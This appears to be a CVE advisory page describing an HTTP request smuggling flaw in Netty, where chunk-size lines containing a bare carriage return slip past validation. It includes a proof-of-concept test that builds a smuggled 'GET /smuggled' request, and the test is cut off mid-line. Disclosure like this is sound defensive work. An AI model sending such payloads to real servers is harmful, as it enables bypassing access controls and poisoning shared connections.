CVE-2026-93566 vulnerability in Red Hat Products
Published on September 18, 2026
Io.netty/netty-codec-http: netty: http request smuggling due to control characters in the chunk-size line
### Summary
Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling.
### Details
`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:
```java
int extensionsStart = line.bytesBefore((byte) ';');
if (extensionsStart == -1) {
return;
}
```
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
`chunk-size = 1*HEXDIG`
### PoC
```java
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"0\rX\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
Vulnerability Analysis
CVE-2026-93566 is exploitable with network access, and does not require authorization privileges or user interaction. This vulnerability is considered to have a low attack complexity. The potential impact of an exploit of this vulnerability is considered to have a small impact on confidentiality and integrity, and no impact on availability.
Timeline
Reported to Red Hat.
Made public.
Weakness Type
OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.
Products Associated with CVE-2026-93566
Want to know whenever a new CVE is published for Red Hat products? stack.watch will email you.